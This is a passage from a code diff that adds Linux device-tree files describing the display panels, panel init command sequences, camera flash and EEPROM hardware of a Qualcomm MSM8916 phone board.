<1>; + qcom,mdss-dsi-traffic-mode = "non_burst_sync_event"; + qcom,mdss-dsi-bllp-eof-power-mode; + qcom,mdss-dsi-bllp-power-mode; + qcom,mdss-dsi-lane-0-state; + qcom,mdss-dsi-lane-1-state; + qcom,mdss-dsi-lane-2-state; + qcom,mdss-dsi-panel-timings = [b4 2a 1c 00 54 58 20 2e 20 03 04 00]; + qcom,mdss-dsi-t-clk-post = <0x03>; + qcom,mdss-dsi-t-clk-pre = <0x23>; + qcom,mdss-dsi-bl-min-level = <10>; + qcom,mdss-dsi-bl-max-level = <255>; + qcom,mdss-dsi-bl-pmic-pwm-frequency = <100>; + qcom,mdss-dsi-bl-pmic-bank-select = <0>; + qcom,mdss-dsi-dma-trigger = "trigger_sw"; + qcom,mdss-dsi-mdp-trigger = "none"; + qcom,mdss-dsi-lp11-init; + qcom,mdss-dsi-init-delay-us = <50000>; + qcom,mdss-dsi-bl-pmic-control-type = "bl_ctrl_pwm"; + qcom,mdss-dsi-reset-sequence = <1 5>, <0 10>, <1 30>; + }; +}; diff --git a/arch/arm/boot/dts/qcom/wt88047/dsi-panel-otm1285a-720p-video.dtsi b/arch/arm/boot/dts/qcom/wt88047/dsi-panel-otm1285a-720p-video.dtsi new file mode 100644 index 0000000000000..cc26d2b14878e --- /dev/null +++ b/arch/arm/boot/dts/qcom/wt88047/dsi-panel-otm1285a-720p-video.dtsi @@ -0,0 +1,64 @@ +/* Copyright (c) 2014, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +&mdss_mdp { + dsi_otm1285a_720p_video: qcom,mdss_dsi_otm1285a_720p_video { + qcom,mdss-dsi-panel-name = "otm1285a_HD720p_video_EBBG"; + qcom,mdss-dsi-panel-controller = <&mdss_dsi0>; + qcom,mdss-dsi-panel-type = "dsi_video_mode"; + qcom,mdss-dsi-panel-destination = "display_1"; + qcom,mdss-dsi-panel-framerate = <60>; + qcom,mdss-dsi-virtual-channel-id = <0>; + qcom,mdss-dsi-stream = <0>; + qcom,mdss-dsi-panel-width = <720>; + qcom,mdss-dsi-panel-height = <1280>; + qcom,mdss-pan-physical-width-dimension = <58>; + qcom,mdss-pan-physical-height-dimension = <103>; + qcom,mdss-dsi-h-front-porch = <35>; + qcom,mdss-dsi-h-back-porch = <35>; + qcom,mdss-dsi-h-pulse-width = <2>; + qcom,mdss-dsi-h-sync-skew = <0>; + qcom,mdss-dsi-v-back-porch = <7>; + qcom,mdss-dsi-v-front-porch = <7>; + qcom,mdss-dsi-v-pulse-width = <2>; + qcom,mdss-dsi-h-left-border = <0>; + qcom,mdss-dsi-h-right-border = <0>; + qcom,mdss-dsi-v-top-border = <0>; + qcom,mdss-dsi-v-bottom-border = <0>; + qcom,mdss-dsi-bpp = <24>; + qcom,mdss-dsi-color-order = "rgb_swap_rgb"; + qcom,mdss-dsi-underflow-color = <0xff>; + qcom,mdss-dsi-border-color = <0>; + qcom,mdss-dsi-on-command = [29 01 00 00 00 00 04 ff 12 85 01 29 01 00 00 00 00 02 00 80 29 01 00 00 00 00 03 ff 12 85 29 01 00 00 00 00 02 00 a2 29 01 00 00 00 00 02 c1 00 29 01 00 00 00 00 02 00 91 29 01 00 00 00 00 03 b3 08 10 29 01 00 00 00 00 02 00 b3 29 01 00 00 00 00 02 c0 33 29 01 00 00 00 00 02 00 b4 29 01 00 00 00 00 02 c0 50 29 01 00 00 00 00 02 00 80 29 01 00 00 00 00 02 c1 19 29 01 00 00 00 00 02 00 81 29 01 00 00 00 00 02 c1 19 29 01 00 00 00 00 02 00 82 29 01 00 00 00 00 02 c1 19 29 01 00 00 00 00 02 00 83 29 01 00 00 00 00 02 c1 19 29 01 00 00 00 00 02 00 90 29 01 00 00 00 00 03 c1 66 00 29 01 00 00 00 00 02 00 80 29 01 00 00 00 00 0a c0 00 96 00 08 08 00 96 08 08 29 01 00 00 00 00 02 00 80 29 01 00 00 00 00 09 c2 82 00 0a 00 83 00 0a 00 29 01 00 00 00 00 02 00 90 29 01 00 00 00 00 10 c2 00 08 03 0a 00 01 08 03 0a 00 02 08 03 0a 00 29 01 00 00 00 00 02 00 a0 29 01 00 00 00 00 10 c2 03 08 03 0a 00 04 08 03 0a 00 05 08 03 0a 00 29 01 00 00 00 00 02 00 b0 29 01 00 00 00 00 0b c2 82 08 03 0a 00 81 08 03 0a 00 29 01 00 00 00 00 02 00 ea 29 01 00 00 00 00 04 c2 88 08 33 29 01 00 00 00 00 02 00 fa 29 01 00 00 0a 00 04 c2 00 0c 00 29 01 00 00 00 00 02 00 80 29 01 00 00 00 00 02 c4 88 29 01 00 00 00 00 02 00 83 29 01 00 00 00 00 02 c4 20 29 01 00 00 00 00 02 00 80 29 01 00 00 00 00 08 cb 00 00 00 00 00 00 00 29 01 00 00 00 00 02 00 90 29 01 00 00 00 00 10 cb 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 29 01 00 00 00 00 02 00 a0 29 01 00 00 00 00 0d cb 00 00 00 00 00 00 00 00 00 00 00 00 29 01 00 00 00 00 02 00 c0 29 01 00 00 0a 00 10 cb 01 01 01 01 01 01 01 01 01 01 00 00 00 00 00 29 01 00 00 00 00 02 00 d0 29 01 00 00 0a 00 0d cb 00 00 00 00 00 00 01 01 01 00 00 00 29 01 00 00 00 00 02 00 f0 29 01 00 00 0a 00 0d cb 00 00 f0 03 30 30 00 00 00 00 00 00 29 01 00 00 00 00 02 00 80 29 01 00 00 0a 00 0b cc 01 03 04 05 06 07 08 09 0a 02 29 01 00 00 00 00 02 00 b0 29 01 00 00 0a 00 0b cc 02 0a 09 08 07 06 05 04 03 01 29 01 00 00 00 00 02 00 d0 29 01 00 00 00 00 10 cd 01 09 07 05 03 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 29 01 00 00 00 00 02 00 b0 29 01 00 00 00 00 10 cd 2d 2d 2d 2d 2d 2d 16 17 18 2d 2d 2d 2d 2d 2d 29 01 00 00 00 00 02 00 c0 29 01 00 00 00 00 0b cd 2d 2d 2d 27 28 29 2a 2b 1d 2d 29 01 00 00 00 00 02 00 a0 29 01 00 00 00 00 10 cd 0a 08 06 04 02 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 29 01 00 00 00 00 02 00 e0 29 01 00 00 00 00 10 cd 2d 2d 2d 2d 2d 2d 16 17 18 2d 2d 2d 2d 2d 2d 29 01 00 00 00 00 02 00 f0 29 01 00 00 00 00 0b cd 2d 2d 2d 27 28 29 2a 2b 1d 2d 29 01 00 00 00 00 02 00 e0 29 01 00 00 00 00 05 cc 00 fc 1f 07 29 01 00 00 00 00 02 00 a0 29 01 00 00 00 00 0d c0 00 01 15 04 00 15 04 00 00 ff ff 00 29 01 00 00 00 00 02 00 80 29 01 00 00 00 00 10 cd 0b 0b 0b 0b 0b 0b 0b 0b 0b 14 13 12 0b 0b 0b 29 01 00 00 00 00 02 00 00 29 01 00 00 00 00 02 d9 82 29 01 00 00 00 00 02 00 00 29 01 00 00 00 00 03 d8 34 34 29 01 00 00 00 00 02 00 00 29 01 00 00 00 00 19 e1 0e 17 27 36 3f 49 55 67 70 81 8b 91 6b 67 61 4f 3e 1f 28 23 1c 17 16 0d 29 01 00 00 00 00 02 00 00 29 01 00 00 00 00 19 e2 02 07 15 22 2b 35 41 54 60 75 81 8d 69 5d 53 43 30 2d 1a 15 0e 09 06 0b 29 01 00 00 00 00 02 00 00 29 01 00 00 00 00 19 e3 0e 17 27 36 3f 49 55 67 70 81 8b 91 6b 67 61 4f 3e 1f 28 23 1c 17 16 0d 29 01 00 00 00 00 02 00 00 29 01 00 00 00 00 19 e4 02 07 15 22 2b 35 41 54 60 75 81 8d 69 5d 53 43 30 2d 1a 15 0e 09 06 0b 29 01 00 00 00 00 02 00 00 29 01 00 00 00 00 19 e5 0e 17 27 36 3f 49 55 67 70 81 8b 91 6b 67 61 4f 3e 1f 28 23 1c 17 16 0d 29 01 00 00 00 00 02 00 00 29 01 00 00 00 00 19 e6 02 07 15 22 2b 35 41 54 60 75 81 8d 69 5d 53 43 30 2d 1a 15 0e 09 06 0b 29 01 00 00 00 00 02 00 00 29 01 00 00 00 00 02 59 03 29 01 00 00 00 00 02 00 90 29 01 00 00 00 00 0d ca cc ff a6 ff 80 ff 05 03 05 03 05 03 29 01 00 00 00 00 02 00 00 29 01 00 00 00 00 02 c6 10 29 01 00 00 00 00 02 00 00 29 01 00 00 00 00 13 c7 90 89 89 88 88 99 88 88 88 88 88 88 87 88 87 87 88 77 29 01 00 00 00 00 02 51 ff 29 01 00 00 00 00 02 53 2c 29 01 00 00 00 00 02 55 01 29 01 00 00 00 00 02 00 00 29 01 00 00 00 00 02 c6 10 29 01 00 00 00 00 02 00 92 29 01 00 00 00 00 05 c5 c0 17 c0 1b 29 01 00 00 00 00 02 00 97 29 01 00 00 00 00 02 c5 16 29 01 00 00 00 00 02 00 99 29 01 00 00 00 00 02 c5 1a 29 01 00 00 00 00 02 00 a2 29 01 00 00 00 00 05 c5 c0 17 c0 1b 29 01 00 00 00 00 02 00 a7 29 01 00 00 00 00 02 c5 16 29 01 00 00 00 00 02 00 a9 29 01 00 00 00 00 02 c5 1a 29 01 00 00 00 00 02 00 00 29 01 00 00 78 00 01 11 29 01 00 00 00 00 02 00 00 29 01 00 00 00 00 01 29]; + qcom,mdss-dsi-off-command = [05 01 00 00 00 00 02 28 00 05 01 00 00 78 00 02 10 00]; + qcom,mdss-dsi-on-command-state = "dsi_lp_mode"; + qcom,mdss-dsi-off-command-state = "dsi_hs_mode"; + qcom,mdss-dsi-h-sync-pulse = <10>; + qcom,mdss-dsi-traffic-mode = "non_burst_sync_event"; + qcom,mdss-dsi-bllp-eof-power-mode; + qcom,mdss-dsi-bllp-power-mode; + qcom,mdss-dsi-lane-0-state; + qcom,mdss-dsi-lane-1-state; + qcom,mdss-dsi-lane-2-state; + qcom,mdss-dsi-panel-timings = [8b 1e 14 00 44 48 18 22 19 03 04 00]; + qcom,mdss-dsi-t-clk-post = <0x04>; + qcom,mdss-dsi-t-clk-pre = <0x1c>; + qcom,mdss-dsi-bl-min-level = <1>; + qcom,mdss-dsi-bl-max-level = <255>; + qcom,mdss-dsi-bl-pmic-pwm-frequency = <100>; + qcom,mdss-dsi-bl-pmic-bank-select = <0>; + qcom,mdss-dsi-dma-trigger = "trigger_sw"; + qcom,mdss-dsi-mdp-trigger = "none"; + qcom,mdss-dsi-bl-pmic-control-type = "bl_ctrl_pwm"; + qcom,mdss-dsi-reset-sequence = <1 5>, <0 5>, <1 10>; + }; +}; diff --git a/arch/arm/boot/dts/qcom/wt88047/dsi-panel-otm1285a-otp-720p-video.dtsi b/arch/arm/boot/dts/qcom/wt88047/dsi-panel-otm1285a-otp-720p-video.dtsi new file mode 100644 index 0000000000000..ac623632f4051 --- /dev/null +++ b/arch/arm/boot/dts/qcom/wt88047/dsi-panel-otm1285a-otp-720p-video.dtsi @@ -0,0 +1,64 @@ +/* Copyright (c) 2014, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +&mdss_mdp { + dsi_otm1285a_otp_720p_video: qcom,mdss_dsi_otm1285a_otp_720p_video { + qcom,mdss-dsi-panel-name = "otm1285a_otp_720p_video_EBBG"; + qcom,mdss-dsi-panel-controller = <&mdss_dsi0>; + qcom,mdss-dsi-panel-type = "dsi_video_mode"; + qcom,mdss-dsi-panel-destination = "display_1"; + qcom,mdss-dsi-panel-framerate = <59>; + qcom,mdss-dsi-virtual-channel-id = <0>; + qcom,mdss-dsi-stream = <0>; + qcom,mdss-dsi-panel-width = <720>; + qcom,mdss-dsi-panel-height = <1280>; + qcom,mdss-pan-physical-width-dimension = <58>; + qcom,mdss-pan-physical-height-dimension = <103>; + qcom,mdss-dsi-h-front-porch = <28>; + qcom,mdss-dsi-h-back-porch = <28>; + qcom,mdss-dsi-h-pulse-width = <2>; + qcom,mdss-dsi-h-sync-skew = <0>; + qcom,mdss-dsi-v-back-porch = <30>; + qcom,mdss-dsi-v-front-porch = <30>; + qcom,mdss-dsi-v-pulse-width = <2>; + qcom,mdss-dsi-h-left-border = <0>; + qcom,mdss-dsi-h-right-border = <0>; + qcom,mdss-dsi-v-top-border = <0>; + qcom,mdss-dsi-v-bottom-border = <0>; + qcom,mdss-dsi-bpp = <24>; + qcom,mdss-dsi-color-order = "rgb_swap_rgb"; + qcom,mdss-dsi-underflow-color = <0xff>; + qcom,mdss-dsi-border-color = <0>; + qcom,mdss-dsi-on-command = [29 01 00 00 00 00 02 00 00 29 01 00 00 78 00 01 11 29 01 00 00 00 00 02 00 00 29 01 00 00 0a 00 01 29]; + qcom,mdss-dsi-off-command = [05 01 00 00 00 00 02 28 00 05 01 00 00 78 00 02 10 00]; + qcom,mdss-dsi-on-command-state = "dsi_lp_mode"; + qcom,mdss-dsi-off-command-state = "dsi_hs_mode"; + qcom,mdss-dsi-h-sync-pulse = <10>; + qcom,mdss-dsi-traffic-mode = "non_burst_sync_event"; + qcom,mdss-dsi-bllp-eof-power-mode; + qcom,mdss-dsi-bllp-power-mode; + qcom,mdss-dsi-lane-0-state; + qcom,mdss-dsi-lane-1-state; + qcom,mdss-dsi-lane-2-state; + qcom,mdss-dsi-panel-timings = [8b 1e 14 00 44 48 18 22 19 03 04 00]; + qcom,mdss-dsi-t-clk-post = <0x04>; + qcom,mdss-dsi-t-clk-pre = <0x1c>; + qcom,mdss-dsi-bl-min-level = <1>; + qcom,mdss-dsi-bl-max-level = <255>; + qcom,mdss-dsi-bl-pmic-pwm-frequency = <100>; + qcom,mdss-dsi-bl-pmic-bank-select = <0>; + qcom,mdss-dsi-dma-trigger = "trigger_sw"; + qcom,mdss-dsi-mdp-trigger = "none"; + qcom,mdss-dsi-bl-pmic-control-type = "bl_ctrl_pwm"; + qcom,mdss-dsi-reset-sequence = <1 5>, <0 5>, <1 10>; + }; +}; diff --git a/arch/arm/boot/dts/qcom/wt88047/dsi-panel-r61308-720p-video.dtsi b/arch/arm/boot/dts/qcom/wt88047/dsi-panel-r61308-720p-video.dtsi new file mode 100644 index 0000000000000..414d5fd46d116 --- /dev/null +++ b/arch/arm/boot/dts/qcom/wt88047/dsi-panel-r61308-720p-video.dtsi @@ -0,0 +1,68 @@ +/* Copyright (c) 2015, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +&mdss_mdp { + dsi_r61308_720p_video: qcom,mdss_dsi_r61308_720p_video { + qcom,mdss-dsi-panel-name = "r61308_HD720p_video_AUO3.5"; + qcom,mdss-dsi-panel-controller = <&mdss_dsi0>; + qcom,mdss-dsi-panel-type = "dsi_video_mode"; + qcom,mdss-dsi-panel-destination = "display_1"; + qcom,mdss-dsi-panel-framerate = <60>; + qcom,mdss-dsi-virtual-channel-id = <0>; + qcom,mdss-dsi-stream = <0>; + qcom,mdss-dsi-panel-width = <720>; + qcom,mdss-dsi-panel-height = <1280>; + qcom,mdss-pan-physical-width-dimension = <58>; + qcom,mdss-pan-physical-height-dimension = <103>; + qcom,mdss-dsi-h-front-porch = <148>; + qcom,mdss-dsi-h-back-porch = <50>; + qcom,mdss-dsi-h-pulse-width = <2>; + qcom,mdss-dsi-h-sync-skew = <0>; + qcom,mdss-dsi-v-back-porch = <11>; + qcom,mdss-dsi-v-front-porch = <4>; + qcom,mdss-dsi-v-pulse-width = <1>; + qcom,mdss-dsi-h-left-border = <0>; + qcom,mdss-dsi-h-right-border = <0>; + qcom,mdss-dsi-v-top-border = <0>; + qcom,mdss-dsi-v-bottom-border = <0>; + qcom,mdss-dsi-bpp = <24>; + qcom,mdss-dsi-color-order = "rgb_swap_rgb"; + qcom,mdss-dsi-underflow-color = <0xff>; + qcom,mdss-dsi-border-color = <0>; + qcom,mdss-dsi-on-command = [05 01 00 00 78 00 02 11 00 39 01 00 00 00 00 02 36 00 39 01 00 00 00 00 02 3a 07 29 01 00 00 00 00 02 b0 04 29 01 00 00 00 00 08 c1 50 02 22 00 00 ed 11 29 01 00 00 00 00 19 c8 1a 24 29 2d 32 37 14 13 10 0c 0a 06 1a 24 28 2d 32 37 14 13 10 0c 0a 06 29 01 00 00 00 00 09 cb 10 20 40 80 a0 c0 d0 e0 29 01 00 00 00 00 04 cc c8 d8 ff 29 01 00 00 00 00 08 cd 1c 1e 1e 1d 1c 1e 1e 29 01 00 00 00 00 08 ce 1e 1e 1e 1d 1d 1e 1e 29 01 00 00 00 00 08 cf 1e 1f 20 20 20 20 21 29 01 00 00 00 00 02 b0 03 05 01 00 00 28 00 02 29 00]; + qcom,mdss-dsi-off-command = [05 01 00 00 32 00 02 28 00 05 01 00 00 78 00 02 10 00]; + qcom,mdss-dsi-on-command-state = "dsi_lp_mode"; + qcom,mdss-dsi-off-command-state = "dsi_hs_mode"; + qcom,mdss-dsi-h-sync-pulse = <1>; + qcom,mdss-dsi-traffic-mode = "burst_mode"; + qcom,mdss-dsi-bllp-eof-power-mode; + qcom,mdss-dsi-bllp-power-mode; + qcom,mdss-dsi-lane-0-state; + qcom,mdss-dsi-lane-1-state; + qcom,mdss-dsi-lane-2-state; + qcom,mdss-dsi-panel-timings = [9b 22 18 00 4a 4c 1c 26 1d 03 04 00]; + qcom,mdss-dsi-t-clk-post = <0x4>; + qcom,mdss-dsi-t-clk-pre = <0x1f>; + qcom,mdss-dsi-panel-status-command = [06 01 00 01 00 00 02 0a 08]; + qcom,mdss-dsi-panel-status-command-state = "dsi_lp_mode"; + qcom,mdss-dsi-panel-status-check-mode = "reg_read"; + qcom,mdss-dsi-panel-status-value = <0x1c>; + qcom,mdss-dsi-bl-min-level = <1>; + qcom,mdss-dsi-bl-max-level = <255>; + qcom,mdss-dsi-bl-pmic-pwm-frequency = <100>; + qcom,mdss-dsi-bl-pmic-bank-select = <0>; + qcom,mdss-dsi-dma-trigger = "trigger_sw"; + qcom,mdss-dsi-mdp-trigger = "none"; + qcom,mdss-dsi-bl-pmic-control-type = "bl_ctrl_pwm"; + qcom,mdss-dsi-reset-sequence = <1 5>, <0 10>, <1 30>; + }; +}; diff --git a/arch/arm/boot/dts/qcom/wt88047/dsi-panel-r61308-s88047a1-720p-video.dtsi b/arch/arm/boot/dts/qcom/wt88047/dsi-panel-r61308-s88047a1-720p-video.dtsi new file mode 100644 index 0000000000000..60d72adcb623a --- /dev/null +++ b/arch/arm/boot/dts/qcom/wt88047/dsi-panel-r61308-s88047a1-720p-video.dtsi @@ -0,0 +1,68 @@ +/* Copyright (c) 2014, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +&mdss_mdp { + dsi_r61308_s88047a1_720p_video: qcom,mdss_dsi_r61308_s88047a1_720p_video { + qcom,mdss-dsi-panel-name = "r61308_HD720p_video_AUO3.5"; + qcom,mdss-dsi-panel-controller = <&mdss_dsi0>; + qcom,mdss-dsi-panel-type = "dsi_video_mode"; + qcom,mdss-dsi-panel-destination = "display_1"; + qcom,mdss-dsi-panel-framerate = <60>; + qcom,mdss-dsi-virtual-channel-id = <0>; + qcom,mdss-dsi-stream = <0>; + qcom,mdss-dsi-panel-width = <720>; + qcom,mdss-dsi-panel-height = <1280>; + qcom,mdss-pan-physical-width-dimension = <58>; + qcom,mdss-pan-physical-height-dimension = <103>; + qcom,mdss-dsi-h-front-porch = <134>; + qcom,mdss-dsi-h-back-porch = <130>; + qcom,mdss-dsi-h-pulse-width = <2>; + qcom,mdss-dsi-h-sync-skew = <0>; + qcom,mdss-dsi-v-back-porch = <14>; + qcom,mdss-dsi-v-front-porch = <6>; + qcom,mdss-dsi-v-pulse-width = <1>; + qcom,mdss-dsi-h-left-border = <0>; + qcom,mdss-dsi-h-right-border = <0>; + qcom,mdss-dsi-v-top-border = <0>; + qcom,mdss-dsi-v-bottom-border = <0>; + qcom,mdss-dsi-bpp = <24>; + qcom,mdss-dsi-color-order = "rgb_swap_rgb"; + qcom,mdss-dsi-underflow-color = <0xff>; + qcom,mdss-dsi-border-color = <0>; + qcom,mdss-dsi-on-command = [05 01 00 00 78 00 02 11 00 39 01 00 00 00 00 02 36 00 39 01 00 00 00 00 02 3a 07 29 01 00 00 00 00 02 b0 04 29 01 00 00 00 00 08 c1 50 02 22 00 00 ed 11 29 01 00 00 00 00 19 c8 1a 24 29 2d 32 37 14 13 10 0c 0a 06 1a 24 28 2d 32 37 14 13 10 0c 0a 06 29 01 00 00 00 00 09 cb 10 20 40 80 a0 c0 d0 e0 29 01 00 00 00 00 04 cc c8 d8 ff 29 01 00 00 00 00 08 cd 1c 1e 1e 1d 1c 1e 1e 29 01 00 00 00 00 08 ce 1e 1e 1e 1d 1d 1e 1e 29 01 00 00 00 00 08 cf 1e 1f 20 20 20 20 21 29 01 00 00 00 00 02 b0 03 05 01 00 00 28 00 02 29 00]; + qcom,mdss-dsi-off-command = [05 01 00 00 32 00 02 28 00 05 01 00 00 78 00 02 10 00]; + qcom,mdss-dsi-on-command-state = "dsi_lp_mode"; + qcom,mdss-dsi-off-command-state = "dsi_hs_mode"; + qcom,mdss-dsi-h-sync-pulse = <1>; + qcom,mdss-dsi-traffic-mode = "burst_mode"; + qcom,mdss-dsi-bllp-eof-power-mode; + qcom,mdss-dsi-bllp-power-mode; + qcom,mdss-dsi-lane-0-state; + qcom,mdss-dsi-lane-1-state; + qcom,mdss-dsi-lane-2-state; + qcom,mdss-dsi-panel-timings = [a8 26 1a 00 50 54 1E 2a 1E 03 04 00]; + qcom,mdss-dsi-t-clk-post = <0x03>; + qcom,mdss-dsi-t-clk-pre = <0x21>; + qcom,mdss-dsi-panel-status-command = [06 01 00 01 00 00 02 0A 08]; + qcom,mdss-dsi-panel-status-command-state = "dsi_lp_mode"; + qcom,mdss-dsi-panel-status-check-mode = "reg_read"; + qcom,mdss-dsi-panel-status-value = <0x1c>; + qcom,mdss-dsi-bl-min-level = <1>; + qcom,mdss-dsi-bl-max-level = <255>; + qcom,mdss-dsi-bl-pmic-pwm-frequency = <100>; + qcom,mdss-dsi-bl-pmic-bank-select = <0>; + qcom,mdss-dsi-dma-trigger = "trigger_sw"; + qcom,mdss-dsi-mdp-trigger = "none"; + qcom,mdss-dsi-bl-pmic-control-type = "bl_ctrl_pwm"; + qcom,mdss-dsi-reset-sequence = <1 5>, <0 10>, <1 30>; + }; +}; diff --git a/arch/arm/boot/dts/qcom/wt88047/dsi-panel-r69431-720p-video.dtsi b/arch/arm/boot/dts/qcom/wt88047/dsi-panel-r69431-720p-video.dtsi new file mode 100644 index 0000000000000..4fdae7836c80d --- /dev/null +++ b/arch/arm/boot/dts/qcom/wt88047/dsi-panel-r69431-720p-video.dtsi @@ -0,0 +1,65 @@ +/* Copyright (c) 2014, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +&mdss_mdp { + dsi_r69431_720p_video: qcom,mdss_dsi_r69431_720p_video { + qcom,mdss-dsi-panel-name = "r69431_HD720_video_sharp"; + qcom,mdss-dsi-panel-controller = <&mdss_dsi0>; + qcom,mdss-dsi-panel-type = "dsi_video_mode"; + qcom,mdss-dsi-panel-destination = "display_1"; + qcom,mdss-dsi-panel-framerate = <60>; + qcom,mdss-dsi-virtual-channel-id = <0>; + qcom,mdss-dsi-stream = <0>; + qcom,mdss-dsi-panel-width = <720>; + qcom,mdss-dsi-panel-height = <1280>; + qcom,mdss-pan-physical-width-dimension = <58>; + qcom,mdss-pan-physical-height-dimension = <103>; + qcom,mdss-dsi-h-front-porch = <120>; + qcom,mdss-dsi-h-back-porch = <20>; + qcom,mdss-dsi-h-pulse-width = <10>; + qcom,mdss-dsi-h-sync-skew = <0>; + qcom,mdss-dsi-v-back-porch = <11>; + qcom,mdss-dsi-v-front-porch = <13>; + qcom,mdss-dsi-v-pulse-width = <1>; + qcom,mdss-dsi-h-left-border = <0>; + qcom,mdss-dsi-h-right-border = <0>; + qcom,mdss-dsi-v-top-border = <0>; + qcom,mdss-dsi-v-bottom-border = <0>; + qcom,mdss-dsi-bpp = <24>; + qcom,mdss-dsi-color-order = "rgb_swap_rgb"; + qcom,mdss-dsi-underflow-color = <0xff>; + qcom,mdss-dsi-border-color = <0>; + qcom,mdss-dsi-on-command = [29 01 00 00 00 00 02 b0 00 29 01 00 00 00 00 02 d6 01 29 01 00 00 00 00 02 b3 1c 29 01 00 00 00 00 02 b0 03 05 01 00 00 00 00 02 29 00 05 01 00 00 78 00 02 11 00]; + qcom,mdss-dsi-off-command = [05 01 00 00 14 00 02 28 00 05 01 00 00 dc 00 02 10 00]; + qcom,mdss-dsi-on-command-state = "dsi_lp_mode"; + qcom,mdss-dsi-off-command-state = "dsi_hs_mode"; + qcom,mdss-dsi-h-sync-pulse = <10>; + qcom,mdss-dsi-traffic-mode = "non_burst_sync_pulse"; + qcom,mdss-dsi-bllp-eof-power-mode; + qcom,mdss-dsi-bllp-power-mode; + qcom,mdss-dsi-lane-0-state; + qcom,mdss-dsi-lane-1-state; + qcom,mdss-dsi-lane-2-state; + qcom,mdss-dsi-panel-timings = [98 22 16 00 4a 4c 1a 26 1a 03 04 00]; + qcom,mdss-dsi-t-clk-post = <0x04>; + qcom,mdss-dsi-t-clk-pre = <0x1e>; + qcom,mdss-dsi-init-last; + qcom,mdss-dsi-bl-min-level = <10>; + qcom,mdss-dsi-bl-max-level = <255>; + qcom,mdss-dsi-bl-pmic-pwm-frequency = <100>; + qcom,mdss-dsi-bl-pmic-bank-select = <0>; + qcom,mdss-dsi-dma-trigger = "trigger_sw"; + qcom,mdss-dsi-mdp-trigger = "none"; + qcom,mdss-dsi-bl-pmic-control-type = "bl_ctrl_pwm"; + qcom,mdss-dsi-reset-sequence = <1 5>, <0 5>, <1 10>; + }; +}; diff --git a/arch/arm/boot/dts/qcom/wt88047/msm8916-camera-sensor-wt88047.dtsi b/arch/arm/boot/dts/qcom/wt88047/msm8916-camera-sensor-wt88047.dtsi new file mode 100644 index 0000000000000..98c7e46231679 --- /dev/null +++ b/arch/arm/boot/dts/qcom/wt88047/msm8916-camera-sensor-wt88047.dtsi @@ -0,0 +1,211 @@ +/* + * Copyright (c) 2015, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +&tlmm_pinmux { + ocp8110_pins { + qcom,pins = <&gp 31>, <&gp 32>; + qcom,num-grp-pins = <2>; + qcom,pin-func = <0>; + label = "ocp8110_pins"; + ocp8110_default: en_default { + drive-strength = <2>; + bias-pull-down; + }; + }; +}; + +&soc { + flash_ocp8110:flashlight { + compatible = "qcom,leds-gpio-flash"; + status = "okay"; + pinctrl-names = "flash_default"; + pinctrl-0 = <&ocp8110_default>; + qcom,flash-en = <&msm_gpio 31 0>; + qcom,flash-now = <&msm_gpio 32 0>; + qcom,op-seq = "flash_en", "flash_now"; + qcom,torch-seq-val = <1 0>; + qcom,flash-seq-val = <1 1>; + linux,name = "flashlight"; + linux,default-trigger = "flashlight-trigger"; + }; + + led_flash0: qcom,camera-led-flash { + cell-index = <0>; + compatible = "qcom,camera-led-flash"; + qcom,flash-type = <3>; + qcom,flash-source = <&flash_ocp8110>; + qcom,torch-source = <&flash_ocp8110>; + }; +}; + +&cci { + actuator0: qcom,actuator@6e { + cell-index = <3>; + reg = <0x6c>; + compatible = "qcom,actuator"; + qcom,cci-master = <0>; + }; + + eeprom0: qcom,eeprom@6c { + cell-index = <3>; + reg = <0x6c>; + qcom,eeprom-name = "sunny_q8v18a"; + compatible = "qcom,eeprom"; + qcom,slave-addr = <0x20>; + qcom,cci-master = <0>; + qcom,num-blocks = <4>; + qcom,page0 = <1 0x100 2 0x1 1 1>; + qcom,poll0 = <0 0x0 2 0 1 1>; + qcom,mem0 = <0 0x0 2 0 1 0>; + qcom,page1 = <1 0x3d84 2 0xc0 1 1>; + qcom,poll1 = <0 0x0 2 0 1 1>; + qcom,mem1 = <0 0x3d00 2 0 1 0>; + qcom,page2 = <1 0x3d88 2 0x7010 2 1>; + qcom,poll2 = <0 0x0 2 0 1 1>; + qcom,mem2 = <0 0x3d00 2 0 1 0>; + qcom,page3 = <1 0x3d8a 2 0x70f4 2 1>; + qcom,pageen3 = 